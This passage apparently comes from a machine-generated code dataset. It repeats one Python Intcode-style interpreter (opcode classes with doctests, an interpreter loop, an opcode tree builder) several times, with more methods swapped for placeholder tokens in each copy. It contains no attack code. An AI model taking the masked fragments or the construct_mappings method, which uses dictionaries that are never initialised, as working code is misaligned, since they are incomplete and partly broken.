self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n\n\nclass Opcode(object):\n\n def __init__(self, mem, ptr, code, inc):\n \"\"\"\n\t\t>>> o = Opcode([1001, 2, 4, 1], 0, 1, 4)\n\t\t>>> o._Opcode__par_modes\n\t\t[0, 1]\n\t\t\"\"\"\n if mem[ptr] % 100 != code:\n raise Exception('Creating Opcode%d for opcode %d' % (code, mem[\n ptr]))\n self.memory = mem\n self.ptr = ptr\n self.__par_modes = list(reversed([int(i) for i in str(int(mem[ptr] /\n 100))]))\n self.__ptr_inc = inc\n\n def ptr_inc(self):\n return self.__ptr_inc\n\n def get_val(self, arg_idx):\n \"\"\"\n\t\t>>> o = Opcode([1001, 2, 4, 1], 0, 1, 4)\n\t\t>>> o.get_val(1)\n\t\t4\n\t\t>>> o.get_val(2)\n\t\t4\n\t\t>>> o.get_val(3)\n\t\t2\n\t\t\"\"\"\n idx = arg_idx - 1\n if idx >= len(self.__par_modes) or self.__par_modes[idx] == 0:\n return self.memory[self.memory[self.ptr + arg_idx]]\n elif self.__par_modes[idx] == 1:\n return self.memory[self.ptr + arg_idx]\n\n def set_ptr(self):\n return False, 0\n <function token>\n\n def writes(self):\n raise Exception('Call to base class writes()')\n\n def op(self):\n raise Exception('Call to base class op()')\n\n def params(self):\n raise Exception('Call to base class params()')\n\n def run(self):\n raise Exception('Call to base class run()')\n\n\nclass Opcode1(Opcode):\n \"\"\"\n\t>>> o = Opcode1([101, 2, 1, 3], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[101, 2, 1, 4]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 1, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first + self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '+'\n\n def __str__(self):\n return 'loc[%d] = %d + %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode2(Opcode):\n \"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n\n\nclass Opcode(object):\n\n def __init__(self, mem, ptr, code, inc):\n \"\"\"\n\t\t>>> o = Opcode([1001, 2, 4, 1], 0, 1, 4)\n\t\t>>> o._Opcode__par_modes\n\t\t[0, 1]\n\t\t\"\"\"\n if mem[ptr] % 100 != code:\n raise Exception('Creating Opcode%d for opcode %d' % (code, mem[\n ptr]))\n self.memory = mem\n self.ptr = ptr\n self.__par_modes = list(reversed([int(i) for i in str(int(mem[ptr] /\n 100))]))\n self.__ptr_inc = inc\n\n def ptr_inc(self):\n return self.__ptr_inc\n\n def get_val(self, arg_idx):\n \"\"\"\n\t\t>>> o = Opcode([1001, 2, 4, 1], 0, 1, 4)\n\t\t>>> o.get_val(1)\n\t\t4\n\t\t>>> o.get_val(2)\n\t\t4\n\t\t>>> o.get_val(3)\n\t\t2\n\t\t\"\"\"\n idx = arg_idx - 1\n if idx >= len(self.__par_modes) or self.__par_modes[idx] == 0:\n return self.memory[self.memory[self.ptr + arg_idx]]\n elif self.__par_modes[idx] == 1:\n return self.memory[self.ptr + arg_idx]\n\n def set_ptr(self):\n return False, 0\n <function token>\n\n def writes(self):\n raise Exception('Call to base class writes()')\n\n def op(self):\n raise Exception('Call to base class op()')\n\n def params(self):\n raise Exception('Call to base class params()')\n <function token>\n\n\nclass Opcode1(Opcode):\n \"\"\"\n\t>>> o = Opcode1([101, 2, 1, 3], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[101, 2, 1, 4]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 1, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first + self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '+'\n\n def __str__(self):\n return 'loc[%d] = %d + %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode2(Opcode):\n \"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n\n\nclass Opcode(object):\n <function token>\n\n def ptr_inc(self):\n return self.__ptr_inc\n\n def get_val(self, arg_idx):\n \"\"\"\n\t\t>>> o = Opcode([1001, 2, 4, 1], 0, 1, 4)\n\t\t>>> o.get_val(1)\n\t\t4\n\t\t>>> o.get_val(2)\n\t\t4\n\t\t>>> o.get_val(3)\n\t\t2\n\t\t\"\"\"\n idx = arg_idx - 1\n if idx >= len(self.__par_modes) or self.__par_modes[idx] == 0:\n return self.memory[self.memory[self.ptr + arg_idx]]\n elif self.__par_modes[idx] == 1:\n return self.memory[self.ptr + arg_idx]\n\n def set_ptr(self):\n return False, 0\n <function token>\n\n def writes(self):\n raise Exception('Call to base class writes()')\n\n def op(self):\n raise Exception('Call to base class op()')\n\n def params(self):\n raise Exception('Call to base class params()')\n <function token>\n\n\nclass Opcode1(Opcode):\n \"\"\"\n\t>>> o = Opcode1([101, 2, 1, 3], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[101, 2, 1, 4]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 1, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first + self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '+'\n\n def __str__(self):\n return 'loc[%d] = %d + %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode2(Opcode):\n \"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n\n\nclass Opcode(object):\n <function token>\n\n def ptr_inc(self):\n return self.__ptr_inc\n\n def get_val(self, arg_idx):\n \"\"\"\n\t\t>>> o = Opcode([1001, 2, 4, 1], 0, 1, 4)\n\t\t>>> o.get_val(1)\n\t\t4\n\t\t>>> o.get_val(2)\n\t\t4\n\t\t>>> o.get_val(3)\n\t\t2\n\t\t\"\"\"\n idx = arg_idx - 1\n if idx >= len(self.__par_modes) or self.__par_modes[idx] == 0:\n return self.memory[self.memory[self.ptr + arg_idx]]\n elif self.__par_modes[idx] == 1:\n return self.memory[self.ptr + arg_idx]\n\n def set_ptr(self):\n return False, 0\n <function token>\n\n def writes(self):\n raise Exception('Call to base class writes()')\n\n def op(self):\n raise Exception('Call to base class op()')\n <function token>\n <function token>\n\n\nclass Opcode1(Opcode):\n \"\"\"\n\t>>> o = Opcode1([101, 2, 1, 3], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[101, 2, 1, 4]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 1, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first + self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '+'\n\n def __str__(self):\n return 'loc[%d] = %d + %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode2(Opcode):\n \"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n\n\nclass Opcode(object):\n <function token>\n\n def ptr_inc(self):\n return self.__ptr_inc\n\n def get_val(self, arg_idx):\n \"\"\"\n\t\t>>> o = Opcode([1001, 2, 4, 1], 0, 1, 4)\n\t\t>>> o.get_val(1)\n\t\t4\n\t\t>>> o.get_val(2)\n\t\t4\n\t\t>>> o.get_val(3)\n\t\t2\n\t\t\"\"\"\n idx = arg_idx - 1\n if idx >= len(self.__par_modes) or self.__par_modes[idx] == 0:\n return self.memory[self.memory[self.ptr + arg_idx]]\n elif self.__par_modes[idx] == 1:\n return self.memory[self.ptr + arg_idx]\n <function token>\n <function token>\n\n def writes(self):\n raise Exception('Call to base class writes()')\n\n def op(self):\n raise Exception('Call to base class op()')\n <function token>\n <function token>\n\n\nclass Opcode1(Opcode):\n \"\"\"\n\t>>> o = Opcode1([101, 2, 1, 3], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[101, 2, 1, 4]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 1, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first + self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '+'\n\n def __str__(self):\n return 'loc[%d] = %d + %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode2(Opcode):\n \"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass 